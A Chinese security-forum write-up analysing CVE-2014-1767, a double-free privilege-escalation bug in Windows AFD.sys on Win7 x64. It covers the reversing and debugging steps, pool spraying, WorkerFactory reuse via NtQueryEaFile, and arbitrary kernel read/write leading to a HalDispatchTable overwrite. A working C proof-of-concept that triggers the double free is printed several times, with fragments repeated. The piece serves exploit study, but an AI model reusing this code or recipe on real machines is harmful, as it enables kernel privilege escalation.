这是我的第四篇CVE文章,相比前面三篇,我认为这篇文章研究的CVE漏洞,是最难,同时也是最值得学习的一个提权漏洞。尽管之前的漏洞也很优秀,但这个漏洞我认为是优秀者中的佼佼者。我们要自己去构造内存数据,而且要精确到字节,要了解一些系统的机制,还要知道各种函数的反汇编用法,因此EXP里面的每一个数据都有其特定的含义,并非随意而为,难度自然更大。我想这对提高我们的PWN水平有帮助,所以我写下了这篇文章。
本文侧重于介绍内存构造的思路,最后给出了调试结果。
在2014年的Pwn2Own黑客大赛上,windows8.1 平台上的IE11沙箱,被Siberas安全团队利用CVE-2014-1767 Windows AFD.sys 双重释放漏洞绕过,他们也因此获得2014年黑客奥斯卡的“最佳提权漏洞奖”。
针对这个漏洞我要说明的有以下几点:
1、本文侧重点在POC、EXP编写,从逆向与调试的角度引领你分析、编写POC、EXP;
2、本文是首篇针对该漏洞在x64平台下的分析、编写文章;
3、全网最详细POC、EXP的编写说明;
4、EXP完全复用POC的代码;
5、上传的EXP是我自己编写的。
实验环境为:win7_x64_sp1(7601)版本
运行上面POC代码,系统出现蓝屏后的windbg调试结果见上图(上图并不是原始输出,我把一些不重要的数据删除了)。从第一个红框可以看出:
1、这是一个双重释放漏洞;
2、双重释放的代码在afd!AfdReturnTpinfo+0xe7。
我们先来看看afd!AfdReturnTpinfo+0xe7,是什么代码:
可见,在afd!AfdReturnTpinfo+0xe1处,是IoFreeMdl函数,它是用来释放Mdl指针的。那么,释放完之后,有没有对指针进行清零处理?我们来看看反编译代码:
根据上面分析可知,IoFreeMdl肯定被执行了两次,那么,在后面我们进行分析时,可以在此处下断点,看这块内存是怎么变化的。现在,我们来看看,程序为什么会调用IoFreeMdl两次。
漏洞是因为连续两次释放内存,由afd!AfdReturnTpinfo调用。
第一次是因为调用
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
时,afd!afdTransmitFile+0x2CD调用MmProbeAndLockPages函数判断的地址,是POC里面指定的0x13371337这个非法地址,所以会出现异常,如下图所示:
第二次调用:
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
因为POC里面指定的内存空间是0x0AAAAAAA*0x18,在afd!afdTransmitPackets中调用afd!AfdTliGetTpInfo,执行ExAllocatePoolwithQutaTag时失败后,会跳到AfdReturnTpinfo函数执行,如下图:
两次进入异常处理函数,都会调用IoFreeMdl函数,从而导致指针双重释放。
通过CreateRoundRectRgn函数消耗内存。至于为什么要消耗内存,可以先看2.3节,我在后面会做更详细说明。
POC里面有个函数CalcLength,它是用于计算输入长度,用来控制分配内存空间大小的。现在,我们需要内存固定分配0x100字节大小的空间,至于为什么,我在后面说明,现在你只用知道,我们需要构造一个0x100大小的内存空间。
在afd!AfdTransmitFile中,nt!IoAllocateMdl函数第二个参数length就是我们输入的参数,通过这个参数,就可以控制内存大小,见下图:
现在,我们需要看看IoAllocateMdl是如何分配内存空间的,反编译nt!IoAllocateMdl,可得:
我们的CalcLength函数,就是为了输入Length,得到一个固定的内存0x100。基本思路是:
1、初始Length从0x10000开始;
2、ViRtualAddress是非法地址0x13371337;
通过while(1)循环,查找使得分配内存为0x100的length,具体实现见代码。
代码实现为:
afd!afdTransmitFile和afd!afdTransmitPackets两个函数的函数原型分别是:
第二个形参的定义为:
最重要的就是偏移0x20的Type3InputBuffer了,这就是我们传入的inbuff1数据。但有个问题,在我们调用这个函数之前,传入的inbuff1已经在栈里面了,现在参数的应用都类似这样:
rsp+8c、rsp+78、rsp+70等等,我们就无法知道这些参数在inbuff1的位置。
但幸好,我们可以根据IoAlloctedMdll函数,很方便的定位length和VirtualAddress。因为IoAlloctedMdll的第一个形参、第二个形参是分别是地址、长度,这是已知的,那么我们就可以先定位length,再定位其他参数。
反编译afd!AfdTransmitFile,分析后,如下图:
由上图可知:
1、因为第104行的判断,所以inbuff1的长度至少为0x40;
2、先让inbuff1有规律的等于一个值,输入之后,断点看length的数值,就可以知道length在buff1的位置,又知道length在rsp+0x78,现在VirtualAddress在rsp+0x70,那么,length偏移0x28,VirtualAdress就偏移0x20。
3、第112行可知,v8由v45得来,v45在rsp+8C位置,也就是inbuff1的0x3C位置,v8等于1的时候,可以不进入112行的if判断,从而执行正常流程。
所以有:
inbuff2是通过AfdTransmitPackets函数处理的,所以反编译AfdTransmitPackets函数之后分析,如下图:
从上图可知:
1、 第103行表明,输入的inbuff2长度至少为0x18字节,所以我们定义的就是0x18字节;
2、 由第114行可知,v7就是我们的inbuff2;
3、 由125行可知,inbuff2的第0个字节等于1,就不会进入if;
4、 由136行可知,输入的v52是分配系数,分配的大小是0x18输入长度,现在分配的长度是0xaaaaaaa018字节,而我们在第一阶段就已经把内存消耗完,这里执行只会失败。
综上所以,可得:
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
(ULONG)(inbuf2) = 1;
(ULONG)(inbuf2 + 0x8) = 0x0AAAAAAA;
最后,触发漏洞函数为:
控制码为0x1207F的DeviceIoControl 函数执行之后,会因为地址异常执行nt!IoFreeMdl,释放一次指针;控制码为0x120C3的DeviceIoControl 函数执行之后,又会因为异常执行nt!IoFreeMdl,再释放一次指针,从而触发漏洞。
调用控制码为0x1207F的函数触发异常释放pool后,创建一个对象占用这个释放的pool,然后再调用控制码为0x120C3的函数,触发异常后再次释放这个pool,最后再把这个pool的数据赋值成假数据,但指向这个pool的指针,我们已经能够控制了,具体分析如下。
先来看看构造的代码:
至于为什么这样写,从4.1.1节开始说明。
WorkerFactory占用空间的大小我们跟踪这条链:
NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag。
但是ObpCreateObject和ObpAllocateObject很多地方都有调用,如果这个时候一步一步通过函数执行过去,很麻烦,而且很容易出错,你会得到错误的大小。调式的时候,可以这样做:
A、首先打两个断点:
4: kd> bl
0 e Disable Clear fffff8000438c8fa 0001 (0001) nt!ObpAllocateObject+0x12a "r rdx;gc"
1 e Disable Clear fffff800
04374b08 0001 (0001) nt!NtCreateWorkerFactory
B、然后运行exp,程序会断在第1个点的NtCreateWorkerFactory。
C、然后继续g,
1: kd> g
rdx=0000000000000100
rdx=00000000000004f8
rdx=0000000000000068
rdx=00000000000000a8
rdx=00000000000000a8
rdx=0000000000000068
rdx=00000000000000a8
第一个rdx就是自己申请的workfactory的大小0x100了。
这就是为什么我们在3.1.1要费尽心思构造pool为0x100的原因。
你的实验平台如果跟我一样,下面的断点,你可以直接用:
首先,使能第3个和第4个断点,在windbg里面断下:可以看到:
由上图,可以得到:
1、object在workerfactory起始地址的偏移量。object在workerfactory起始地址偏移0x50处,0xfffffa8031092560是起始地址,0xfffffa80
31092550是pool的header;
2、把objectHead的数据拷贝出来,作为我们构造EXP时的Fakeworkerfactory的数据;
然后,使能第1个断点和第2个断点,继续运行,得到:
从上图,可以得到:
1、NtSetInformationWorkerFactory中object的pool是从ObReferenceObjectByHandleWithTag中得到的;
2、再分析NtCreateWorkerFactory可知,在NtCreateWorkerFactory时创建的pool数据,在NtSetInformationWorkerFactory时已经被覆盖掉了。
数据是怎么被覆盖的?用的是4.1.3介绍的nt!NtQueryEaFile函数。
现在有个问题,我们构造的WorkFactory数据是在应用层,那么如何把数据拷贝到之前释放的pool处呢?直接拷贝当然是不行的,毕竟,我们并不知道pool的地址。这个时候就可以调用一个关键的函数实现这个目的。这个函数就是NtQueryEaFile函数。
先来看看NtQueryEaFile函数的声明:
我们调用的代码为:
EaList --->FakeWorkerFactory
EaIndex---> FakeObjSize
再来看看fpQueryEaFile的反汇编代码。
执行这个函数之后,伪造的数据就被拷贝到了之前释放的pool处,然后根据相应的函数操作WorkFactory的内存,就可以实现任意地址写和读了。
但是这里有一个关键点,就是在函数的最后,它会释放内存,如下图:
这就意味着,我们操纵的,仍然是一个已经释放的内存,所以需要注意调试的速度。如果pool被再次替换受控和释放,我们的读取和写操作将失败,结果将是错误检查。所以读取和写入必须在每次之后立即完成。
这很关键,请牢牢记住。
任意地址写,是通过SetInformationWorkerFactory函数实现的,原理如下图:
在第175行,传入handle,通过ObReferenceObjectByHandleWithTag函数索引,就可以得到object,这个object就是我们代码里面的变量a。在NtSetInformationWorkFactory函数里面,任意写是这行代码:
而我们在执行选择NtSetInformationWorkerFactory时,选择的是WorkerFactoryAdjustThreadGoal(0x8),等于8,会直接运行到NtSetInformationWorkerFactory的655行,然后会执行任意地址写。也就是说,如果我们需要在目标地址kHalDsipatchTableQueryAddr写入shellcode地址,那么,就需要让
这就意味着:
(_QWORD )((_QWORD )Object + 0x18i64) + 0x2Ci64等于kHalDsipatchTable地址,那么,当系统调用该函数赋值的时候,就会把shellcode地址高四位或低四位写入HalDsipatchTable。所以,写入shellcode地址时,需要把高四位和第四位分开写:
正好对应我们的代码:
构造完毕之后,就可以把shellcode的地址写入了,EXP代码如下:
任意地址读,是通过NtQueryInformationWorkerFactory函数实现的,原理如下图:
由上图可知:
1、输入的内存长度必须是0x78;
2、选择的读取地址是(QWORD*)object+0x10;
3、第二个参数必须等于7,也就是要等于WorkerFactoryBasicInformation。
现在我们来看第81行代码,是这样写的:
所以在构造object的时候,目标地址需要减去0x180,写为:
断点选择在pool申请和释放的地方,断点为:
第一次执行IoFreeMdl前的目标内存,见下图:
第一次执行IoFreeMdl后和第二次执行IoFreeMdl前的目标内存见下图:
第二次执行IoFreeMdl后的目标内存见下图:
NtQueryEaFile函数拷贝内存时的目标内存,见下图:
在AfdReturnTpInfo中,把TpInfoElementCount清零了,如果Count等于0的时候,就不进行释放操作。见下图:
CVE-2014-1767的EXP代码链接
这个链接有两个文件,一个是C版本的,一个是python版本的,其中C版本的是EXP,python版本的是POC。
我没有上传C版本的POC,因为把EXP中创建WorkerFactory代码删除,就直接可以得到POC代码了。
写文章确实不容易,讲清楚更不容易,这篇文章耗费了我很大的精力,后续再接再厉,希望能够多出好作品。
另外感谢看雪给我的奖励,新年收到看雪的美团购物卡,在此感谢。
ULONG CalcLength()
{
int
BaseLength
=
0x10000
;
unsigned __int16 VirtualAddress
=
0x13371337
;
int
FinalLength
=
0x0
;
while
(
1
)
{
FinalLength
=
((BaseLength &
0xFFF
)
+
((unsigned __int16)VirtualAddress &
0xFFF
)
+
0xFFF
) >>
0xC
;
FinalLength
=
8
*
(FinalLength
+
(BaseLength>>
0xC
))
+
0x30
;
if
(FinalLength
=
=
0x100
)
{
break
;
}
else
{
BaseLength
+
=
1
;
continue
;
}
}
return
BaseLength;
}
int
main()
{
int
nBottonRect
=
0x2aaaaaa
;
while
(true)
{
HRGN hrgn
=
CreateRoundRectRgn(
0
,
0
,
1
, nBottonRect,
1
,
1
);
if
(hrgn
=
=
NULL)
{
break
;
}
printf(
"hrgn = %p\n"
, hrgn);
}
/
/
这儿看IoAllocateMdl(ntoskrnl)
DWORD length
=
CalcLength();
printf(
"Length = %x\n"
, length);
DWORD virtualAddress
=
0x13371337
;
static BYTE inbuf1[
0x40
];
memset(inbuf1,
0
, sizeof(inbuf1));
*
(ULONG_PTR
*
)(inbuf1
+
0x20
)
=
virtualAddress;
*
(ULONG
*
)(inbuf1
+
0x28
)
=
length;
*
(ULONG
*
)(inbuf1
+
0x3c
)
=
1
;
static BYTE inbuf2[
0x18
];
memset(inbuf2,
0
, sizeof(inbuf2));
*
(ULONG
*
)(inbuf2)
=
1
;
*
(ULONG
*
)(inbuf2
+
0x8
)
=
0x0AAAAAAA
;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int
ierr;
WSAStartup(
0x2
, &WSAData);
s
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa,
0
, sizeof(sa));
sa.sin_port
=
htons(
135
);
sa.sin_addr.S_un.S_addr
=
inet_addr(
"127.0.0.1"
);
sa.sin_family
=
AF_INET;
ierr
=
connect(s, (const struct sockaddr
*
)&sa, sizeof(sa));
DeviceIoControl((HANDLE)s,
0x1207F
, (LPVOID)inbuf1,
0x40
, NULL,
0
, NULL, NULL);
DeviceIoControl((HANDLE)s,
0x120C3
, (LPVOID)inbuf2,
0x18
, NULL,
0
, NULL, NULL);
}
ULONG CalcLength()
{
int
BaseLength
=
0x10000
;
unsigned __int16 VirtualAddress
=
0x13371337
;
int
FinalLength
=
0x0
;
while
(
1
)
{
FinalLength
=
((BaseLength &
0xFFF
)
+
((unsigned __int16)VirtualAddress &
0xFFF
)
+
0xFFF
) >>
0xC
;
FinalLength
=
8
*
(FinalLength
+
(BaseLength>>
0xC
))
+
0x30
;
if
(FinalLength
=
=
0x100
)
{
break
;
}
else
{
BaseLength
+
=
1
;
continue
;
}
}
return
BaseLength;
}
int
main()
{
int
nBottonRect
=
0x2aaaaaa
;
while
(true)
{
HRGN hrgn
=
CreateRoundRectRgn(
0
,
0
,
1
, nBottonRect,
1
,
1
);
if
(hrgn
=
=
NULL)
{
break
;
}
printf(
"hrgn = %p\n"
, hrgn);
}
/
/
这儿看IoAllocateMdl(ntoskrnl)
DWORD length
=
CalcLength();
printf(
"Length = %x\n"
, length);
DWORD virtualAddress
=
0x13371337
;
static BYTE inbuf1[
0x40
];
memset(inbuf1,
0
, sizeof(inbuf1));
*
(ULONG_PTR
*
)(inbuf1
+
0x20
)
=
virtualAddress;
*
(ULONG
*
)(inbuf1
+
0x28
)
=
length;
*
(ULONG
*
)(inbuf1
+
0x3c
)
=
1
;
static BYTE inbuf2[
0x18
];
memset(inbuf2,
0
, sizeof(inbuf2));
*
(ULONG
*
)(inbuf2)
=
1
;
*
(ULONG
*
)(inbuf2
+
0x8
)
=
0x0AAAAAAA
;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int
ierr;
WSAStartup(
0x2
, &WSAData);
s
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa,
0
, sizeof(sa));
sa.sin_port
=
htons(
135
);
sa.sin_addr.S_un.S_addr
=
inet_addr(
"127.0.0.1"
);
sa.sin_family
=
AF_INET;
ierr
=
connect(s, (const struct sockaddr
*
)&sa, sizeof(sa));
DeviceIoControl((HANDLE)s,
0x1207F
, (LPVOID)inbuf1,
0x40
, NULL,
0
, NULL, NULL);
DeviceIoControl((HANDLE)s,
0x120C3
, (LPVOID)inbuf2,
0x18
, NULL,
0
, NULL, NULL);
}
int
nBottonRect
=
0x2aaaaaa
;
while
(true)
{
HRGN hrgn
=
CreateRoundRectRgn(
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,
0
,
1
, nBottonRect,
1
,
1
);
if
(hrgn
=
=
NULL)
{
break
;
}
printf(
"hrgn = %p\n"
, hrgn);
}
int
nBottonRect
=
0x2aaaaaa
;
while
(true)
{
HRGN hrgn
=
CreateRoundRectRgn(
0
,
0
,
1
, nBottonRect,
1
,
1
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(hrgn
=
=
NULL)
{
break
;
}
printf(
"hrgn = %p\n"
, hrgn);
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ULONG CalcLength()
{
int
BaseLength
=
0x10000
;
unsigned __int16 VirtualAddress
=
0x13371337
;
int
FinalLength
=
0x0
;
while
(
1
)
{
FinalLength
=
((BaseLength &
0xFFF
)
+
((unsigned
__int16)VirtualAddress &
0xFFF
)
+
0xFFF
) >>
0xC
;
FinalLength
=
8
*
(FinalLength
+
(BaseLength>>
0xC
))
+
0x30
;
if
(FinalLength
=
=
0x100
)
{
break
;
}
else
{
BaseLength
+
=
1
;
continue
;
}
}
return
BaseLength;
}
ULONG CalcLength()
{
int
BaseLength
=
0x10000
;
unsigned __int16 VirtualAddress
=
0x13371337
;
int
FinalLength
=
0x0
;
while
(
1
)
{
FinalLength
=
((BaseLength &
0xFFF
)
+
((unsigned
__int16)VirtualAddress &
0xFFF
)
+
0xFFF
) >>
0xC
;
FinalLength
=
8
*
(FinalLength
+
(BaseLength>>
0xC
))
+
0x30
;
if
(FinalLength
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=
0x100
)
{
break
;
}
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{
BaseLength
+
=
1
;
continue
;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-3-8 07:07
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,原因: